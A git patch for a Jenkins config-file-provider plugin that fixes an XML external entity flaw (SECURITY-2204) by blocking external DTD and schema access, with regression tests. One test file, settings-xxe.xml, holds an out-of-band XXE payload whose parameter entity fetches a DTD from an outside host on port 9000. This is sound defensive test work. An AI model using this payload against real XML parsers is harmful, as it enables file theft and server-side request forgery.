From 3fc07e611a52ff5940306388e51f0dd92cf7054f Mon Sep 17 00:00:00 2001
From: Ramon Leon <manuelramonleonjimenez@gmail.com>
Date: Mon, 29 Mar 2021 12:38:27 +0200
Subject: [PATCH] SECURITY-2204

(cherry picked from commit 5f845bc015be769e595088bab11ec36c767671e1)
---
 .../maven/security/CredentialsHelper.java     |   9 +-
 .../configfiles/sec/Security2204Test.java     |  74 ++++++
 .../plugins/configfiles/sec/settings-xxe.xml  |   8 +
 .../plugins/configfiles/sec/settings.xml      | 233 ++++++++++++++++++
 4 files changed, 323 insertions(+), 1 deletion(-)
 create mode 100644 src/test/java/org/jenkinsci/plugins/configfiles/sec/Security2204Test.java
 create mode 100644 src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings-xxe.xml
 create mode 100644 src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings.xml

diff --git a/src/main/java/org/jenkinsci/plugins/configfiles/maven/security/CredentialsHelper.java b/src/main/java/org/jenkinsci/plugins/configfiles/maven/security/CredentialsHelper.java
index be9b9502..0ce9136c 100644
--- a/src/main/java/org/jenkinsci/plugins/configfiles/maven/security/CredentialsHelper.java
+++ b/src/main/java/org/jenkinsci/plugins/configfiles/maven/security/CredentialsHelper.java
@@ -15,6 +15,7 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import javax.xml.XMLConstants;
 import javax.xml.parsers.DocumentBuilderFactory;
 import javax.xml.transform.OutputKeys;
 import javax.xml.transform.Transformer;
@@ -115,7 +116,13 @@ public static String fillAuthentication(String mavenSettingsContent, final Boole
         if (mavenServerId2jenkinsCredential.isEmpty()) {
             return mavenSettingsContent;
         }
-        Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new StringReader(content)));
+
+        // TODO: switch to XMLUtils.parse(Reader) when the baseline > 2.179 or  XMLUtils.parse(InputSteam) > 2.265
+        DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
+        //documentBuilderFactory.isValidating() is false by default, so these attributes won't avoid to parse an usual maven settings.
+        documentBuilderFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
+        documentBuilderFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
+        Document doc = documentBuilderFactory.newDocumentBuilder().parse(new InputSource(new StringReader(content)));
 
         Map<String, Node> removedMavenServers = Collections.emptyMap();
 
diff --git a/src/test/java/org/jenkinsci/plugins/configfiles/sec/Security2204Test.java b/src/test/java/org/jenkinsci/plugins/configfiles/sec/Security2204Test.java
new file mode 100644
index 00000000..f30218b1
--- /dev/null
+++ b/src/test/java/org/jenkinsci/plugins/configfiles/sec/Security2204Test.java
@@ -0,0 +1,74 @@
+package org.jenkinsci.plugins.configfiles.sec;
+
+import com.cloudbees.plugins.credentials.CredentialsScope;
+import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials;
+import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl;
+import hudson.FilePath;
+import org.apache.commons.io.IOUtils;
+import org.hamcrest.core.StringContains;
+import org.jenkinsci.plugins.configfiles.maven.security.CredentialsHelper;
+import org.junit.Rule;
+import org.junit.Test;
+import org.jvnet.hudson.test.Issue;
+import org.jvnet.hudson.test.JenkinsRule;
+import org.xml.sax.SAXParseException;
+
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static com.ibm.icu.impl.Assert.fail;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.containsString;
+import static org.hamcrest.Matchers.not;
+
+public class Security2204Test {
+    @Rule
+    public JenkinsRule rr = new JenkinsRule();
+
+    private static final String NEW_PASSWORD = "PASSWORD-REPLACED";
+    
+    /**
+     * If we use an xml with an external entity, the parser fails to read it.
+     * @throws Exception if an error happens while reading the xml or parsing it and it's not the expected one.
+     */
+    @Test
+    @Issue("SECURITY-2204")
+    public void xxeOnMavenXMLDetected() throws Exception {
+        try {
+            tryToReplaceAuthOnXml("settings-xxe.xml");
+        } catch (SAXParseException e) {
+            assertThat(e.getMessage(), containsString("access is not allowed due to restriction set by the accessExternalDTD property"));
+            return;
+            // The console also prints the message out:
+            // [Fatal Error] :5:13: External Entity: Failed to read external document 'oob.xml', because 'http' access is not allowed due to restriction set by the accessExternalDTD property.
+        }
+        fail("The fillAuthentication should have detected the XXE but it's not the case");
+    }
+
+    /**
+     * An usual maven settings.xml is correctly parsed because the parser doesn't have activated the validation by
+     * default, so no need to go to the declared dtd or schema urls.
+     * @throws Exception if an error happens while reading or parsing the xml.
+     */
+    @Test
+    @Issue("SECURITY-2204")
+    public void mavenSettingsAuthFilled() throws Exception {
+        String settings = "settings.xml";
+        String settingsReplaced = tryToReplaceAuthOnXml(settings);
+        assertThat(settingsReplaced, not(StringContains.containsString("whatever-password-because-its-replaced")));
+        assertThat(settingsReplaced, StringContains.containsString(NEW_PASSWORD));
+    }
+    
+    private String tryToReplaceAuthOnXml(String file) throws Exception {
+        String mavenSettingsContent = IOUtils.toString(this.getClass().getResource(file), StandardCharsets.UTF_8);
+        Map<String, StandardUsernameCredentials> credentials = new HashMap<String, StandardUsernameCredentials>();
+
+        StandardUsernameCredentials usernameCredentials = new UsernamePasswordCredentialsImpl(CredentialsScope.GLOBAL, "credentialId", "user", "credential description", NEW_PASSWORD);
+        credentials.put("credential", usernameCredentials);
+        List<String> tempFiles = new ArrayList<>();
+        return CredentialsHelper.fillAuthentication(mavenSettingsContent, true, credentials, new FilePath(rr.jenkins.root), tempFiles);
+    }
+}
diff --git a/src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings-xxe.xml b/src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings-xxe.xml
new file mode 100644
index 00000000..2c148944
--- /dev/null
+++ b/src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings-xxe.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!DOCTYPE r [
+        <!ELEMENT r ANY >
+        <!ENTITY % sp SYSTEM "http://host.docker.internal:9000/oob.xml">
+        %sp;
+        %param1;
+        ]>
+<r>&oob;</r>
\ No newline at end of file
diff --git a/src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings.xml b/src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings.xml
new file mode 100644
index 00000000..7192aa07
--- /dev/null
+++ b/src/test/resources/org/jenkinsci/plugins/configfiles/sec/settings.xml
@@ -0,0 +1,233 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!--
+Licensed to the Apache Software Foundation (ASF) under one
+or more contributor license agreements.  See the NOTICE file
+distributed with this work for additional information
+regarding copyright ownership.  The ASF licenses this file
+to you under the Apache License, Version 2.0 (the
+"License"); you may not use this file except in compliance
+with the License.  You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing,
+software distributed under the License is distributed on an
+"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+KIND, either express or implied.  See the License for the
+specific language governing permissions and limitations
+under the License.
+-->
+
+<!--
+ | This is the configuration file for Maven. It can be specified at two levels:
+ |
+ |  1. User Level. This settings.xml file provides configuration for a single user, 
+ |                 and is normally provided in ${user.home}/.m2/settings.xml.
+ |
+ |                 NOTE: This location can be overridden with the CLI option:
+ |
+ |                 -s /path/to/user/settings.xml
+ |
+ |  2. Global Level. This settings.xml file provides configuration for all Maven
+ |                 users on a machine (assuming they're all using the same Maven
+ |                 installation). It's normally provided in 
+ |                 ${maven.home}/conf/settings.xml.
+ |
+ |                 NOTE: This location can be overridden with the CLI option:
+ |
+ |                 -gs /path/to/global/settings.xml
+ |
+ | The sections in this sample file are intended to give you a running start at
+ | getting the most out of your Maven installation. Where appropriate, the default
+ | values (values used when the setting is not specified) are provided.
+ |
+ |-->
+<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
+          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
+    <!-- localRepository
+     | The path to the local repository maven will use to store artifacts.
+     |
+     | Default: ~/.m2/repository
+    <localRepository>/path/to/local/repo</localRepository>
+    -->
+
+    <!-- interactiveMode
+     | This will determine whether maven prompts you when it needs input. If set to false,
+     | maven will use a sensible default value, perhaps based on some other setting, for
+     | the parameter in question.
+     |
+     | Default: true
+    <interactiveMode>true</interactiveMode>
+    -->
+
+    <!-- offline
+     | Determines whether maven should attempt to connect to the network when executing a build.
+     | This will have an effect on artifact downloads, artifact deployment, and others.
+     |
+     | Default: false
+    <offline>false</offline>
+    -->
+
+    <!-- pluginGroups
+     | This is a list of additional group identifiers that will be searched when resolving plugins by their prefix, i.e.
+     | when invoking a command line like "mvn prefix:goal". Maven will automatically add the group identifiers
+     | "org.apache.maven.plugins" and "org.codehaus.mojo" if these are not already contained in the list.
+     |-->
+    <pluginGroups>
+        <!-- pluginGroup
+         | Specifies a further group identifier to use for plugin lookup.
+        <pluginGroup>com.your.plugins</pluginGroup>
+        -->
+    </pluginGroups>
+
+    <!-- servers
+     | This is a list of authentication profiles, keyed by the server-id used within the system.
+     | Authentication profiles can be used whenever maven must make a connection to a remote server.
+     |-->
+    <servers>
+        <!-- server
+         | Specifies the authentication information to use when connecting to a particular server, identified by
+         | a unique name within the system (referred to by the 'id' attribute below).
+         | 
+         | NOTE: You should either specify username/password OR privateKey/passphrase, since these pairings are 
+         |       used together.
+         | -->
+        <server>
+            <id>serverId</id>
+            <username>whatever-username-because-its-replaced</username>
+            <password>whatever-password-because-its-replaced</password>
+        </server>
+        <!-- Another sample, using keys to authenticate.
+        <server>
+          <id>siteServer</id>
+          <privateKey>/path/to/private/key</privateKey>
+          <passphrase>optional; leave empty if not used.</passphrase>
+        </server>
+        -->
+    </servers>
+
+    <!-- mirrors
+     | This is a list of mirrors to be used in downloading artifacts from remote repositories.
+     | 
+     | It works like this: a POM may declare a repository to use in resolving certain artifacts.
+     | However, this repository may have problems with heavy traffic at times, so people have mirrored
+     | it to several places.
+     |
+     | That repository definition will have a unique id, so we can create a mirror reference for that
+     | repository, to be used as an alternate download site. The mirror site will be the preferred 
+     | server for that repository.
+     |-->
+    <mirrors>
+        <!-- mirror
+         | Specifies a repository mirror site to use instead of a given repository. The repository that
+         | this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
+         | for inheritance and direct lookup purposes, and must be unique across the set of mirrors.
+         |
+        <mirror>
+          <id>mirrorId</id>
+          <mirrorOf>repositoryId</mirrorOf>
+          <name>Human Readable Name for this Mirror.</name>
+          <url>http://my.repository.com/repo/path</url>
+        </mirror>
+         -->
+    </mirrors>
+
+    <!-- profiles
+     | This is a list of profiles which can be activated in a variety of ways, and which can modify
+     | the build process. Profiles provided in the settings.xml are intended to provide local machine-
+     | specific paths and repository locations which allow the build to work in the local environment.
+     |
+     | For example, if you have an integration testing plugin - like cactus - that needs to know where
+     | your Tomcat instance is installed, you can provide a variable here such that the variable is 
+     | dereferenced during the build process to configure the cactus plugin.
+     |
+     | As noted above, profiles can be activated in a variety of ways. One way - the activeProfiles
+     | section of this document (settings.xml) - will be discussed later. Another way essentially
+     | relies on the detection of a system property, either matching a particular value for the property,
+     | or merely testing its existence. Profiles can also be activated by JDK version prefix, where a 
+     | value of '1.4' might activate a profile when the build is executed on a JDK version of '1.4.2_07'.
+     | Finally, the list of active profiles can be specified directly from the command line.
+     |
+     | NOTE: For profiles defined in the settings.xml, you are restricted to specifying only artifact
+     |       repositories, plugin repositories, and free-form properties to be used as configuration
+     |       variables for plugins in the POM.
+     |
+     |-->
+    <profiles>
+        <!-- profile
+         | Specifies a set of introductions to the build process, to be activated using one or more of the
+         | mechanisms described above. For inheritance purposes, and to activate profiles via <activatedProfiles/>
+         | or the command line, profiles have to have an ID that is unique.
+         |
+         | An encouraged best practice for profile identification is to use a consistent naming convention
+         | for profiles, such as 'env-dev', 'env-test', 'env-production', 'user-jdcasey', 'user-brett', etc.
+         | This will make it more intuitive to understand what the set of introduced profiles is attempting
+         | to accomplish, particularly when you only have a list of profile id's for debug.
+         |
+         | This profile example uses the JDK version to trigger activation, and provides a JDK-specific repo.
+        <profile>
+          <id>jdk-1.4</id>
+    
+          <activation>
+            <jdk>1.4</jdk>
+          </activation>
+    
+          <repositories>
+            <repository>
+              <id>jdk14</id>
+              <name>Repository for JDK 1.4 builds</name>
+              <url>http://www.myhost.com/maven/jdk14</url>
+              <layout>default</layout>
+              <snapshotPolicy>always</snapshotPolicy>
+            </repository>
+          </repositories>
+        </profile>
+        -->
+
+        <!--
+         | Here is another profile, activated by the system property 'target-env' with a value of 'dev',
+         | which provides a specific path to the Tomcat instance. To use this, your plugin configuration
+         | might hypothetically look like:
+         |
+         | ...
+         | <plugin>
+         |   <groupId>org.myco.myplugins</groupId>
+         |   <artifactId>myplugin</artifactId>
+         |   
+         |   <configuration>
+         |     <tomcatLocation>${tomcatPath}</tomcatLocation>
+         |   </configuration>
+         | </plugin>
+         | ...
+         |
+         | NOTE: If you just wanted to inject this configuration whenever someone set 'target-env' to
+         |       anything, you could just leave off the <value/> inside the activation-property.
+         |
+        <profile>
+          <id>env-dev</id>
+    
+          <activation>
+            <property>
+              <name>target-env</name>
+              <value>dev</value>
+            </property>
+          </activation>
+    
+          <properties>
+            <tomcatPath>/path/to/tomcat/instance</tomcatPath>
+          </properties>
+        </profile>
+        -->
+    </profiles>
+
+    <!-- activeProfiles
+     | List of profiles that are active for all builds.
+     |
+    <activeProfiles>
+      <activeProfile>alwaysActiveProfile</activeProfile>
+      <activeProfile>anotherAlwaysActiveProfile</activeProfile>
+    </activeProfiles>
+    -->
+</settings>
\ No newline at end of file